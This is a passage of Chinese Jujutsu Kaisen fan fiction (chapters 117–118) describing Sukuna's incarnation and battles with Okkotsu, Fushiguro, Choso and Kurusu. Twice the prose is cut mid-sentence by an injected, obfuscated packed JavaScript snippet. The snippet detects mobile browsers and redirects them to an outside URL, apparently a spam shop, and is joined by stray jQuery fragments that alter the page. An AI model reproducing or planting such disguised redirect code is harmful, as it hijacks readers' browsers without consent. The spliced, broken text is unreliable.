“哈哈!啊哈哈哈哈哈哈哈!!”宿傩睁开猩红的眼睛,望向主动送上门来的消遣们:“正好,在我完全‘消化’他之前,陪你们玩玩也不错。”
乙骨忧太和胀相落到了池边的平台上。
他的呼吸声慢慢加重了,胸膛起伏着,仿佛吸入肺部的氧气怎样都无法满足他的需要。
这是诅咒吗?
为什么总有人要夺走他的幸福?他好不容易得到的东西原来这么轻易就会消失吗?为什么?为什么为什么为什么——凭什么?
凭什么诅咒总是能够轻易将他人视若珍宝的东西踩在脚下肆意践踏,非要让这世上充满不幸和痛苦才肯罢休?!!
诅咒之王活动着筋骨,嘴角拉起残忍又玩味的笑:“是你啊。你问为什么?我倒还想问问你们,为何这样弱小?拥有这样脆弱的生命,还敢大言不惭地想要奢求长久的幸福?”
他讥笑道:“居然还敢——追求爱?简直滑稽至极。”
乙骨忧太浑身的血都燃烧了起来,脑袋却冷得可怕。
漆黑的瞳孔缩到了极限,他将胸腹中的诅咒敲进了这一字一句中,让这身骨血化作薪柴:“我要杀了你。”
无论付出何种代价。
“......”伏黑惠看着冲出地面的两道身影,额角落下了冷汗。
“要是放任他离开的话会发生什么事?”日车宽见觉得自己问了个答案显而易见的问题,但他着实不知道该以何种态度来面对眼前宛如灾祸般的景象。
伏黑惠咬着牙。两面宿傩......吞下了虎杖悠仁,那现在还未被取回的力量就只剩下了五条悟藏起来的最后一根。
狂乱的斩击向着乙骨忧太的方向倾泻而下,眨眼间就将周边的林地削了个一干二净,扬尘弥散百米不落。
“嚯?”宿傩看着在他的斩击下顽强支撑住的黑发少年,终于提起了一点兴致:“看来你也不只是会说大话的家伙啊。”
里香回到了乙骨忧太的身边,它的体型又比方才膨胀了数倍,额上睁开了一只眼睛。
“忧太、忧太——”
乙骨忧太回应了它的呼唤:“嗯,里香。”
腕骨上的勾玉烫得可怕。上面的咒力还没有消失,这是他从成片的绝望之中唯一得到喘息的机会。但是......但是!
赌上他与家人的约定,献上他那根深蒂固、攀附着灵魂生长的爱……没有人能够将它夺走,那是连同生命也一起燃烧殆尽的诅咒!!
远远望见这一面的伏黑惠觉得乙骨忧太已经彻底疯了。
他自己也是吧。
这是一场彻头彻尾的阴谋,如果里梅真的看上了他这个容器,比起费尽心思带他过来还不如直接在东京让宿傩受肉。
“要是没在这解决他,至少这个国家的大部分人就玩完了,”从地下冲出来的胀相也奔向了战场,伏黑惠始终抓不住脑袋里那一闪而过的灵光,“我有……我至少有同归于尽的手段,日车先生,如果不想继续参与进来的话,现在离开是最好的选择。”
受肉。对,宿傩选择受肉之后就躲在了这个地下空间里?从他体内只有四根手指的时候发出的斩击来看……不,这里面有什么地方不对劲!
伏黑惠不再管日车宽见,宿傩与乙骨忧太的战场不断向飞驒山脉的方向偏移,他召出了鵺带着他飞抵空洞的上方,向下望见了仍在翻腾着的漆黑池水。
“这是……?!”
“浴”本是一种将家传秘宝咒具化的仪式,在战时为了免除它们遭到外敌染指。原本是用蛊毒将严选的生物融化过滤得到咒力的溶液,而里梅能够用咒灵做到这一点,仪式的作用也发生了不小的变化。
浸泡于其中的人能够更接近“魔”。
伏黑惠并不知道这种技法的奥秘,也不知道宿傩待在里面的理由,但他却凭借远超旁人的洞察力和那么一丁点幸运找到了正确答案。
这里是飞驒,两面宿傩传说最为盛行之地。尽管在此地传说中的两面宿傩是这里的守护神,是值得敬仰的英雄,与被赋予了宿傩之名的诅咒之王相去甚远,但名字在咒术中不仅仅是身份的象征,其中寄宿着这个名字所代表之人的灵魂与力量。
他们利用了这里的传说!一定是这样!!
宿傩抬手挡着眼睛,挑眉看向再一次撕裂夜空的光阵,不禁啧舌调侃道:“复制的术式?那就有点没意思了。”
全力以赴的“雅各布天梯”终于落在了违背戒律之人的头顶,乙骨忧太吹向号角的同时,里香已经凝聚好了咒力。
明黄之后便是同樱色相近的极致咒力放出,狂躁的咒力洪流带着主人的全部怨恨冲向了夺走他一切的诅咒。
那是谁的术式?!伏黑惠乘着鵺靠近战场的中心,怒吼道:“乙骨前辈!!他是咒灵——!!!”
117. 第 117 章
尘幕中飞来的两道斩击精确地切断了鵺的一只翅膀,伏黑惠快速解除了它的召唤,在落地时让雪白柔软的脱兔们接住了自己。
贯穿战场的声音已然传入乙骨忧太的耳中。
宿傩接连吃下了天使的术式与一记解除咒力限制的进攻之后,这具不够坚硬的身体露出了不少破绽。
“呵,”轻蔑的笑声响起,被削掉的手臂和身体顷刻间便复原了出来,“有点眼力。”
刚才那小子叫出来的式神是……【十种影法术】?那他就应该是里梅为自己准备的下一个容器了。
猩红的眼睛一转,宿傩徒手攥住了乙骨忧太袭向自己的刀尖。但是在那之前得先解决这个家伙,既然和虎杖悠仁那么亲近,想必应当连【御厨子】也拿走了吧?
乙骨忧太和宿傩角力。刀身被灌注了正极能量,宿傩用咒力在手掌上施加了极小的斩击让刀刃没有真的触及到他,乙骨忧太索性直接弃刀挥拳攻向宿傩的腰腹。
既然是咒灵,只要用正极能量打的话——
阴影突然盖住了乙骨忧太的脸,下一刻他的身影就倒飞了出去,胀相飞身而来接住了他才避免了他被完全击出战场,不过他们依旧狼狈地砸入了地面,掀起团团灰尘。
“这是谁教你在战斗中想多余的事情啊?”诅咒之王甩着手,筋骨刚刚才勉强活动开。
咒灵原本是不能成为容器的,即便吞下了手指、由此获得了力量,也不会拥有能够承载另一个灵魂的根基。
原本应该是这样的,但这里有名为两面宿傩的诅咒应运而生,借助这片土地的力量,再加上“浴”,这才勉强让宿傩在咒灵的体内成功受肉,甚至拥有了远超吞噬那几根手指所该有的力量。
代价便是不稳定的外型和根基,于是便一直待在里梅准备的池中沐浴,等待她将虎杖悠仁送到嘴边。
更何况,这里还有“那个东西”。
宿傩脸上的讥讽之意更甚,亲眼看到自己的即身佛被完地保留了下来时简直乐不可支。
不管那东西究竟是谁故意留下来讽刺他的,亦或者是无趣的蝼蚁们又想出了点什么新的花样,总之这样下来,只待他完全消化掉虎杖悠仁,就算缺失了一根手指的力量也无关紧要了。
干枯的肉|体中寄宿着灵魂,宿傩更愿意称其为咒力的信息。
两面宿傩受肉的消息瞬间传遍了咒术界所有关注着这场“救援行动”的人耳中。机械丸试图再一次联系伏黑惠,可他已经身陷战斗当中,无暇顾及来自千里之外的同伴焦急的呼唤。
咒术师们迅速行动起来,持有狱门疆·里的西宫桃即刻出发,她恰好就在名古屋附近的结界,距离两面宿傩受肉的岐阜很近。
“宿傩受肉了?!他在哪儿?!”周身缠绕着电气的鹿紫云一兴奋地说道,带起的静电让身上挂满小饰品的星绮罗罗发出不满地抱怨。
秤金次劝他稍安勿躁:“现在过去也赶不上了啊,西宫又不在,除非机械丸肯帮你联系冥小姐……不过她肯定还有别的事,比起你有更适合的人选吧。”
鹿紫云一懒得计较他的态度:“废话少说,我就是为了和宿傩一战才答应你的!”
秤金次挠头,好像的确是这么回事。
“但是没办法啊,”他摊了摊手,“我们自己过去的话至少四五个小时,除非冥小姐愿意让她弟弟来接你。”
“要怎么走?”鹿紫云一撸起了袖子。
正赶往樱岛的禅院真希和真依半路折返,狗卷棘和熊猫也二话不说就往机械丸提供的地点开始赶路。
两面宿傩赤裸着半身,抬手按上了布满咒纹的胸膛。
“......”
脚下踏着的土地与千年前没什么区别,只不过群聚而生的人类变多了。猩红的四目落在了又一次冲过来的两道身影上,宿傩的手离开了搏动着的心脏,似乎是在自言自语,又像是在说给什么人听:“有点自知之明吧,你唯一的价值就是承载我的力量,这可是从出生起注定的命运啊!”
宿傩对上了乙骨忧太的眼神。
弱小的生物总爱抱团取暖,通过群聚来衡量自己的价值,所以才越来越孱弱。就像一群吸血鬼,聚在同类构成的群体中,相互吸吮血液,无需多少时日就会彻底消失。既然不能做到随心所欲、选择让脆弱的感情操纵自己的人生,那用卑微的生命来承受与之相符的不幸也是理所当然的啊!!
诅咒之王生出了第二对手臂,密密麻麻交织成网的斩击扫向了黑发少年。
“乙骨!!”胀相被白色式神挥臂扫开,将战场完全留给了乙骨忧太。
“不错的眼神,”宿傩扬了扬下巴,让注视着他的人无端矮去了一截,从气势上直接压倒了所有人,“所以说,爱才是最无趣的东西。”
失去爱、舍弃爱,无论因为哪些原因而抛弃了那般软弱的感情,现在的乙骨忧太逐渐脱离了宿傩口中弱小之人的范畴,变得像是真正的诅咒一样,不管什么计划企图,想做什么就做什么,抛弃未来也抛弃自己的身份,任由这份诅咒之火烧尽一切。
夺命的锋刃已至,乙骨忧太的面额已经感受到了冰冷的杀意。他面目狰狞,压低的眉眼露出了过多的眼白,让曾经作为人格底色的温柔彻底从这具身体中剥离了出去。
留下来的东西是什么呢?也许他那善良的老师和同期们看到的就是这一天吧?如果将自己的心与灵魂完全寄托在另一个人身上,当有一天不得不面对独自一人的时候,还有什么能支撑着他继续走下去?
他们看不见,所以劝他多少再找到一些可以当做攀岩抓点的东西,也试过为他创造一个可以怀恋的地方。
他很感谢他们,正因他们如此善良又温柔,才会让他在与虎杖悠仁分离的时候感受到了温暖与归属感。但人的感情可以衡量,也没什么东西真的无价,区别就只在问价的人是谁罢了。
来世。如果还有来世的话,乙骨忧太倒是想要真的和他们成为无话不谈的朋友,在尊敬的人身边学习,拥有一段闪亮的人生。
但他也早就明白自己不会有期待来生的魄力,那些闪闪发光的梦就只是梦,在此身被诅咒之火吞噬后,他什么都不会留下,也不会期待再给这个相互诅咒的世界留下什么东西。
“开庭。”乙骨忧太眸光犀利,像是灰烬中将熄未熄的火星,亲自敲下了审判诅咒之王、审判他自己的法槌。
——
虎杖悠仁从没见过乙骨忧太那般了无生趣、冰冷的眼神。
心脏在抽痛着。
他猛地在一片深池中挣扎起来,周围都是浑浊漆黑的溶液,可他却没有身在水中的感觉。皮肤表面是干燥的,衣服也没有被浸湿,但他就待在这样一处望不见水面、看不清周围的池水中。
身体沉得厉害,像是有人在他的双脚上绑住了水泥块,扯着他不停向下坠落。
没有任何能够自救的方法,向上伸出的手和不甘的眼神一样穿不透浓重的黑暗,令人作呕的气息挤压着他的肉|体和灵魂,连挣扎的动作都绝不会有其他人看见。
绝望的坠落似乎持续了很久,久到虎杖悠仁对时间的判断都被混淆了。
他不知道自己以什么样的姿态存在着,亦或者已经在宿傩的肚子里变成了一团腐烂的肉,如今仅存的意识不过是灵魂彻底消散前的短暂叹息。
......既然是死亡,那多少让他再看一遍走马灯啊。
让他再看看那些被他藏在心底反复琢磨的记忆,他还想看看夜空中那条满是星星的河映在乙骨忧太眼中的模样,再看看同样的夜幕下炸开的漫天烟花,想看它们的光影闪烁在那个人的面庞。
因为这些记忆没办法在生死关头救他,所以大脑无视了他的请求吗?真过分啊,明明这是我最后的请求了......
展现出来的都是一些看上去无关紧要的细节。
大多数是黑发少年在余光中的背影,因为他总是比虎杖悠仁高上一些,所以在视线不曾聚焦的地方,他的后脑一定不会乖乖待在画面的正中。
虎杖悠仁几乎肉眼可见地颓丧了下去。他没想到走马灯让自己看到的居然都是这样的景象,没有声音也没有正脸。他的心随着摇晃的画面沉了下去,似乎再也没办法重新跳起来了。
忽然闯进来的就是那样一个眼神,让虎杖悠仁遍体生寒。
愤怒随着抽痛的心脏慢慢燃起,周围的不真实感愈发鲜明。
越来越多的画面闯了进来,它们像是两条交叠播放的胶卷电影,持续无声的背影中不断穿插着各种鲜活的景象。
虎杖悠仁看到乙骨忧太手中持握着陌生的武具,像是幻想中会发光的剑一样。他恍然间又看到斩击撕开了乙骨忧太的身体,泼洒出来的鲜血甚至染红了那些无形的斩击,让它们如有实质。
被消磨的意志变得滚烫,简直要将他的心也一并烫穿。
试图将他吞噬的阴影没办法继续伪装,只能让蔓延的黑暗在周围蠢蠢欲动,寻找着彻底将他击垮的破绽。
虎杖悠仁猛地抬头,对着空无一物的虚空中吼道:“你觉得这样就能让我放弃?!”
琥珀般的眸子射出的目光锋利到与那些斩击无异。
得到的回应只有一声嗤笑。
虎杖悠仁的大脑清明起来,他“站”在深池底,凝望着周遭无边的黑暗。
“你看到的就只有这些吗,宿傩?”粉发少年居然反客为主,质问起这片空间的主人:“以你所在的高度,你看到的居然就只有这些?!”
这样僭越的质疑终于召来了诅咒之王的一瞥。
“......你想说什么?”
虎杖悠仁垂下头。
万死前在向他炫耀自己的爱。她的模样其实并不像她自己想象的那般高傲,反倒主动降格,让自己落于下风。本就拥有的、觉得自己值得拥有的东西是不必拿出来炫耀的,万从没意识到过这一点,她也从不在乎。
宿傩在这里也褪去了张狂的模样,他双手抱臂,意味不明地盯着已是他掌中之物的容器——力量的容器。
虎杖悠仁只是想明白了人最卑劣的欲望总会交给自己从未拥有过却
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378256|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
渴望着的东西......不只是想要占有,也可以是想要彻底将之撕碎的毁灭欲。
“我和你没什么好说的了,”他站在原地,感受如同海底沉沙一般的东西抓着他,企图将他拖入深渊,“看看我们谁能走到最后,宿傩。”
——
日车宽见看清了乙骨忧太手中闪着光的十字细剑。黑发少年并未完全舍弃自己的刀,他双手各持一柄,继续向宿傩发起了进攻。
毫无疑问,那正是从“诛伏赐死”的死刑判决中带出来的处刑人之剑,日车宽见用它轻易夺走了数十人的生命,因为它身上拥有着触之即死的诅咒。
处刑人之剑出现在这里也就意味着——两面宿傩的术式被没收了!!
在“诛伏赐死”中只要被判有罪,就会受到暂时剥夺术式的惩罚,而最重的刑罚是附带“没收”的死刑。日车宽见做出如此判断的依据自然是乙骨忧太手中的十字细剑,处刑人之剑只要触及到了被判处死刑的对象,甚至不需要贯穿大脑或者心脏这样的致命部位就能够夺走他的生命。
日车宽见的脚步迈开了,向着遍地狼藉的战场中心奔跑起来。
正常人、或者说正常的生物都会趋利避害,毕竟远离危险几乎已经是刻在潜意识中的生存本能,就算有意让自己变得再热心一些,也不会彻底抹除这个本能对自身行为的影响。
日车宽见自认为是个再正常不过的成年人,与各种案件、各种伤害打交道的日子更让他的这种本能得到了培养......或多或少得到了潜移默化的灌溉吧。
至少他现在还没搞懂放任诅咒之王复活究竟意味着什么,但若根据伏黑惠的描述将之想象成某种杀伤力巨大的武器,这样就能稍微理解到当下情况的紧迫性。
选择被卷入其中又或者直接逃避,都不会有人来谴责他。说个不恰当的比喻,没有人会要求一只蚂蚁去停下暴风雨,就算被提了这样的要求也只会得到怜悯的目光,因为不会有人相信他们能阻止这样一场宛如天灾般降临的灾祸。
日车宽见的步伐越来越大,他感觉自己正在向一处悬崖狂奔,在跳出去之前甚至不知道下面究竟是可怕的坚硬岩脊还是能够留下一条生路的湍急河流。
在大脑做出冷静且合理的判断之前,他大声对伏黑惠喊道:“他没有术式——!!”
也许只是想要为了那个粉发少年哀悼。
他们遇见也不过短短几个小时,连一句像样的交流也没有,更不用提相互了解,只能凭借从旁人口中听来的故事与只言片语来想象对方的模样。伏黑惠口中的故事对日车宽见来说并不算新奇,但也绝不老套。
多少、还想稍微再多听一些。
宿傩与乙骨忧太展开了近身战,“没收”的确让诅咒之王暂时失去了【御厨子】,但乙骨忧太并没有从他脸上看见任何陷入劣势的凝重。
“用这玩意儿的话就换不了其他的术式了吧?”宿傩嬉笑着在躲避处刑人之剑的间歇挥拳,动作愈发凌厉。
乙骨忧太没有给予任何回应。宿傩的身体完全为战斗而生,哪怕如今被困在咒灵的躯体之内也无法改变根深蒂固的战斗本能,旁人毕生钻研的武艺对他来说只在举手投足间便能轻易击破,除非钻研到了极致的技法,否则在绝对的力量压制之下都和一碰就破的泡泡没有任何区别。
为了维持处刑人之剑,乙骨忧太的确没办法再使用其他的术式。
挥剑。
挥刀!!!
他没有专属于自己的剑术,甚至在这方面也只是个半吊子而已,身上的路数中能看到很多人的影子,和很多三流剑士没什么区别。连他的术式也是这个样子,从旁人手中模仿来再加以使用,唯独完全属于他自己的就只有这身咒力。
跨越重重年岁从先祖身上继承而来、又幸运地觉醒了的庞大咒力。
他们在交锋中短暂地分开,乙骨忧太手中的处刑人之剑仍在燃烧着。
剑身上的光芒在流淌。
身后便是家人留给他的礼物,乙骨忧太没有回头,一只眼睛已经被血染成了红色。他轻轻地说:“配合我,里香。”
式神兴奋的低吼便是回答。
“嘻嘻!啊哈哈哈哈哈哈哈!!!”宿傩畅快地大笑着:“再挣扎得激烈一点啊!!!”
还不够。
久违的战斗还没让他全力以赴,作为开胃前菜倒是勉强能入得了口,但想要让他彻底尽兴还远远不够啊!!!
胀相看着宿傩和乙骨忧太两人再度消失的方向,心中唾弃自己的无能为力。在弟弟最需要帮助的时候他这个兄长反而无所作为,连替他挡下伤害都做不到,这样还能算是一个兄长吗?!
周围空气的温度骤然下降,愤怒的长兄将眸子转向了企图让此间混乱变得更彻底一些的白发诅咒师。
“......没完没了,”将被压缩的血液拍入双掌之间,胀相瞄准了略显狼狈的里梅,“别挡路!!”
里梅丝毫不理会胀相的进攻,突破了他的拦截冲向了追着宿傩与乙骨忧太的方向而去的伏黑惠。
118. 第 118 章
被冰锥刺穿身体的时候伏黑惠突然明白了过来。原先他只是一直疑惑为什么里梅会留下他这个诱饵的性命,明明就算真的让他窒息而死,冰冻尸体同样也能瞒天过海,让虎杖悠仁和其他同伴们追着过来。
宿傩绝不会满足咒灵作为自己的容器,只是眼前的状况不允许他再挑三拣四,为了赶上这场“盛宴”必须这么做而已。当他真的收回了被分割出去的所有力量,寻找下一个合适的容器就是最重要的目标了。
现在一切已经准备妥当,吞下虎杖悠仁的宿傩、地下沐浴的场所、以及最重要的容器——伏黑惠抬手捂住了腹部,被冰锥的冲力带着狠狠向前栽倒,顾不得自己的狼狈模样,拼命回头去看步步逼近的诅咒师。
好人有好报,恶人有恶报。
人类的命运要是这么简单就好了。
不是说他觉得自己应当是死后肯定能够成佛的好人,其实也不太在意自己活着的时候是否能得到幸福,因为比起自己他更在乎他在意的人能不能幸福地生活下去。为了创造一个他们能够一直笑着的世界,他才一直在这条路上坚持了下去。
绝不能......
胀相背后用血液组成了坏相一样的血翅,纤细的血河将压缩到极限的血团送到了里梅的身旁。
“别放弃!!!”他握拳,压缩的血像是霰弹一样四散炸开,影响了里梅的前进。一切都还来得及,他还能感受到和虎杖悠仁之间血脉的共鸣,粉发少年还未完全死去,一切都还能被改变!!!
“伏黑!!!”
伏黑惠还有心思在心中调侃胀相叫别人的名字越来越顺口了。初听虎杖悠仁和九相图们是兄弟这件事着实让他惊讶了一番,不过后来在和胀相他们遇到之后,多少能够明白粉发少年认可他们的原因了。
手势已经摆好,设置仪式的咒词脱口而出。
“......来相互诅咒吧!!!”伏黑惠咳出血,冰锥贯穿了要命的地方,他紧盯着神色凝重起来的里梅,第一次露出了这样癫狂的笑容,仿佛已经能够预见属于她的惨败。
应召而来的魔虚罗张开了耳羽模样的翅膀。
自持稳重的冰之术师难得沉下脸,恶狠狠地骂道:“你这混蛋......”
这是将他自己和她同时设为了参与者的调伏仪式,多人参与的仪式并不能让术师真正调伏式神,更像是通过这种方法开辟出的一个角斗场,只不过参与到其中的三方没有任何同盟的关系可言。
魔虚罗脑后的“尾巴”摇摆着。它没有眼睛,除此以外可以说和人类的构造无异。未被调伏的式神没有主人的概念,一切都以彻底杀死仪式的所有参与者为目标,因此它第一个下手解决的对象就是身侧的伏黑惠。
退魔之剑出鞘,高大的式神轻描淡写地挥臂,却落空了。
千钧一发之际胀相冒着被附着在退魔之剑上的正极能量重创的风险从魔虚罗刀下救走了伏黑惠,一边用灼热的血融化贯穿他身体的冰锥,一边观察着那个恐怖的式神。
在看到魔虚罗似乎将进攻的目标锁定在了里梅的身上后,他毫不犹豫地带着伏黑惠直接跑路。
“......”伏黑惠想让他把自己放下,如果里梅死在魔虚罗手中,它始终还是要找过来的。就算是魔虚罗输了,那他们也根本没有再挣扎的底牌,结局还是一样的。
然而带着逃走他的胀相不这么想。
“悠仁还活着,”伏黑惠闻言微微瞪大了眼睛,胀相的声音和远方茂密林间传回的震荡融合在了一起,“他一定能回来,我这个做兄长的不能放任你去死,不然的话他又会责怪自己了。”
乙骨忧太的刀渐渐能够追上宿傩的动作了。
他在战斗中飞速进化着,用一种堪称恐怖的学习能力观察着对手的一招一式,本就不成风格的剑术正根据他看到的东西慢慢调整,将之塑造成了依对手而变化的杀机。
宿傩见过无数天才。也许是自诩天才,亦或是未被开发的原石,又或者是已达到极限之人。这样的人数不胜数,能被他记住的却寥寥无几。如若假以时日,眼前的这个黑发少年也许能够凭借天分勉强迈过天才的门槛吧,但他与大多数不够天才的“天才”们一样,心思太过纤细。
缺少了实现理想的“渴求”。
简而言之,就是想得太多了!!!
处刑人之剑在术师主动解除术式之前不会主动消失,但审判带来的“没收”效果却有持续时间。在某一瞬间恢复的【御厨子】让宿傩目露凶光,格挡的动作变为主动抓取,他攥住了乙骨忧太持握处刑人之剑那只手的腕骨,直接发动了“捌”。
斩击没有爬到心脏,从肘部被斩断的肢体带着十字细剑飞了出去。黑眸中唯一映照出的便是一闪而过的刀光,喷撒的血液溅到了这柄能够伤及灵魂的利刃之上,但未能掩盖它的锋芒。
宿傩为乙骨忧太干脆利落舍车保帅的行为稍稍挑眉,空手停住了他左手甩过来的刀。
“捌”能够根据术式对象的强度调整斩击的力道,原本宿傩是想凭借这一击让乙骨忧太彻底不能继续行动,但黑发少年在术式发动的刹那调整了身上的咒力防御,舍弃了手臂来让躯体的强度提高以对抗“捌”的斩击。
“——捌。”
乙骨忧太开口,缓缓吐出了一个词。
应声出现在宿傩脸上的细密斩击痕迹慢慢爬满了他的半张脸,率先被染红的是脆弱的眼球。
“呵。”宿傩扯着嘴角,难得升起了一丝怒意。
与诅咒之王战斗时做出的每一个决策都必须准确且快速,处刑人之剑脱手、没有办法及时取回,那就放掉“诛伏赐死”,立刻选用新的术式将攻势延续下去。膨胀的咒力让反转术式疯狂运转着,重铸血肉。
假想质量被赋予给了新生的手臂,乙骨忧太狠狠挥拳将宿傩击退,倒飞出去的冲击在林间留下了恐怖的沟壑。
透过变得稀疏起来的树冠,更远方就是连绵不断的飞驒山脉,积雪像是光洁的头纱盖在了群山的头顶,遮住了它们沉默又谦逊的头颅。
一边是魔虚罗与里梅的战斗,另一边是乙骨忧太与诅咒之王,胀相带着重伤的伏黑惠在中间寻找突破口,日车宽见的身影似乎追着宿傩那边去了,至少胀相现在顾不上管他。
“这边!”陌生少女的声音从半空中传来,胀相诧异地抬头,看见了背生双翼、宛如天使一般飞在半空的来栖华。
她降下了高度指引着胀相暂时远离这片战场,来不及相互介绍解释各自的身份,目光却始终注视着胀相肩膀上扛着的伏黑惠。
“战况如何?堕天真的受肉了?”开在来栖华脸颊上的嘴巴问道。胀相挑了最重要的信息告知了天使,尤其是虎杖悠仁还活着这件事。
情况与天使预想的产生了一些出入,但也许也是个好事。咒灵本不足以成为容器,宿傩依托此地的传说与“浴”的技法强行受肉,意味着根基不稳,天使的术式更容易将其彻底消灭。
只要容器死亡的话,受肉|体的灵魂也会一并消失。
来栖华根据天使的指引暂时离开了伏黑惠的身边,她们升上了夜空,俯视着这片正在经受考验的大地。
“他说虎杖还活着。”来栖华试图从天使口中得到肯定的答案,然而她只得到了令人失望的回答。
“我先前说他像是储存宿傩力量的咒物,这一点其实并不是什么夸张的比喻。等到堕天将他彻底‘消化’之后,恐怕就再也没有人能够阻拦他的复活了。”遵循戒律的古代术师知道这话听起来太过冷酷无情,但这即是事实,而真相总是不那么容易被人接受的。
但天使的话锋一转,没有彻底击碎来栖华的希望:“但是他们的存在形式的确非常特殊,受肉这一过程本来只有容器与受肉|体两方参与,就算会发生灵魂争夺肉|体的情况,也只会在它们之间发生。”
而咒灵的灵魂本就不存在能够压制宿傩灵魂的可能性,所以那具身体里有可能发生争斗的话也必然来自虎杖悠仁这个超脱常理的“咒物”与两面宿傩这两方。
结合刚才那个人的说法,虎杖悠仁还没有放弃。说不定......情况比她们想象得要更好一些。
天使的术式理论上能够从容器身上剥离受肉|体。受肉|体的术式与人格是和咒物直接连在一起的,一旦扎根后,术式便刻印到了容器的大脑中。消灭术式便等同于抹消了和它一同存在于咒物中的人格,抹杀受肉|体。但术式毕竟刻在最脆弱的大脑上,通常在这一过程中容器的生存率就不能被保证了。
使用这种方法的成功率太低,而且大部分容器的意识已经彻底消散了,不如直接将受肉|体抹除来得干脆。
消灭术式就相当于在剥离灵魂,但现在虎杖悠仁不是以容器的身份存在,而是被吞入腹中的咒物......他与两面宿傩的灵魂并不存在同调,也许反而更容易被剥离出来!
“那我们——”
“我们上,华,”天使的话给了少女信心,她还担忧着伏黑惠的情况,但击败宿傩的行动刻不容缓,“与堕天的战斗绝不能留手!全力施展术式!!”
“我知道了!”
她们追着下方爆发出恐怖震荡的地方而去。
——
九十九由基当然也第一时间得知了诅咒之王受肉的消息。机械丸问她需不需要通知冥冥让忧忧过来接她去战场,但九十九由基在询问了对战宿傩的人是谁之后便决定放弃赶过去。
现在至少得有一个人守在天元旁边。
“你早就知道了?”她质问道。岐阜那边有乙骨忧太,虽然还不知道具体细节,但......就让她卑鄙地相信一下痛失所爱之人向世界发出的诅咒吧。而且西宫桃带着狱门疆·里很快就能到,能解封五条悟的天使也在,伏黑惠他们多少还是会想方设法做到的吧?
天元否认:“那是羂索亲自设下的‘帐’,连我也难以窥见其中发生的事。”
它顿了顿,终是说道:“飞驒灵山净界的基底附近保存着两面宿傩的即身佛。”
宿傩的确是寿终正寝。他死后尸身不坏,血肉本就含有剧毒,拒绝了一切虫蚁的靠近,在生命走到尽头后,就这样自然而然地死去了。
至于究竟是何人将他的尸身送到了飞驒灵山净界,又是谁为其披上
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378257|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
袈裟与僧帽,像是真正的得道高僧一般“供奉”着......千年往事又有谁能说得清呢。
九十九由基撑着头,她依旧没办法适应与天元和平相处,它的每一句话都能让她不忿地哼出声来。
“你除了相信他们能够替你解决掉所有的麻烦之外,难道没什么办法提供一点帮助吗?”
“......”天元沉默了一会儿,遗憾地说:“我的术式只是‘不死’,除了结界术之外,在战斗方面一窍不通。而现在我进化之后甚至无法脱离空性结界将自己显现出来,仅剩的能够被称之为本体的东西已经与这棵御神木融为一体了。”
“啧,你还真是老样子。”
“你应该听说过天元、六眼与星浆体之间的联系。三位一体的因果命运之所以在这一个五百年的周期内被破坏,究其原因是出现了一个脱离咒术存在的‘异端’。”天元的话让九十九由基思考起来。
“你是说伏黑甚尔?他现在因为尾神婆的降灵术复活了......他本人的确是难得一见的天与咒缚,但若以他为范本来让全人类脱离咒力,会比夏油选择的那条路还要艰难吧?你究竟想说什么?”
究竟是异端搅动命运,还是命运造就了这些人呢?
一如那个困扰了很多人的疑问。受选者到底是受到了命运的青睐,还是从出生起就得到了它的诅咒呢?
虎杖悠仁不肯放弃。他绝不会放弃反抗,哪怕只是在讥笑者眼中值得嘲弄的垂死挣扎,哪怕这样的行为只会滑稽得引人发笑,他也依旧要反抗强加在他身上的、他不接受的命运。
这片空间大抵与他曾进入过的心象空间类似,只是某种意志的投影,所以他还能在深池中呼吸、还能发出微弱的呼号。
他绝对不能在这里死去!他还有想要见到的人,还有当斩之物,还有理想——
他已纵身迈入火焰,若不甘心只做燃尽的薪柴,那就只有撕裂自我,无论如何都必须冲出去才行!!
“乙骨——!!!”来栖华在半空中大喊着乙骨忧太的名字。全力施展的术式不光能对受肉|体造成伤害,普通术师也会受到影响。
“华!来不及了,直接发动术式!!”已经有斩击从地面上飞向了来栖华,天使急切地催促道。
乙骨忧太听见了她的喊声,依旧头也不回地冲了上去。宿傩知道他打的什么主意,加快了移动速度避免被重力绊住手脚。毕竟现在他受肉的根基不稳,天使的术式多少还是能对他造成一些威胁的。
祷言已出,来栖华手持黄铜喇叭让神圣的光阵代替了星月,装点深远的夜幕。头戴头骨面具的小天使们奏响圣乐,少女的发丝向天上飞去,鼓足力气彻底吹响了手中的号角。
可怕的术式范围将山脚下的这片密林全都笼罩了进去,她身后的圣光宛若日轮,照亮了被惊醒的大地。
沉闷的轰隆声从极远的地方传来,听不真切,却能感受到其与心脏的共振。
戒律降临。
“停、下来!!”乙骨忧太面上的阴影被光芒驱散,灵魂被摇荡的痛觉让他误以为自己也是什么会被净化的“异端”,但至少在被绑在柱子上烧死之前,他还记必须想办法让宿傩留在天使的术式范围内。
咒言仅仅困住了诅咒之王片刻,不知道是他还是宿傩的嚎叫刺穿了鼓膜。乙骨忧太感受到言灵的桎梏被破开的刹那立刻创造出了一片重压区,但他和宿傩之间尚有一些距离,只能看着宿傩行动受阻,却没有完全被留在不可抵抗的超重压范围内。
里香也在尖叫着。
乙骨忧太的耳朵里嗡鸣着,尖锐而刺耳的噪音让疼痛从大脑深处爆发出来,在某一瞬间他完全什么都听不到了。
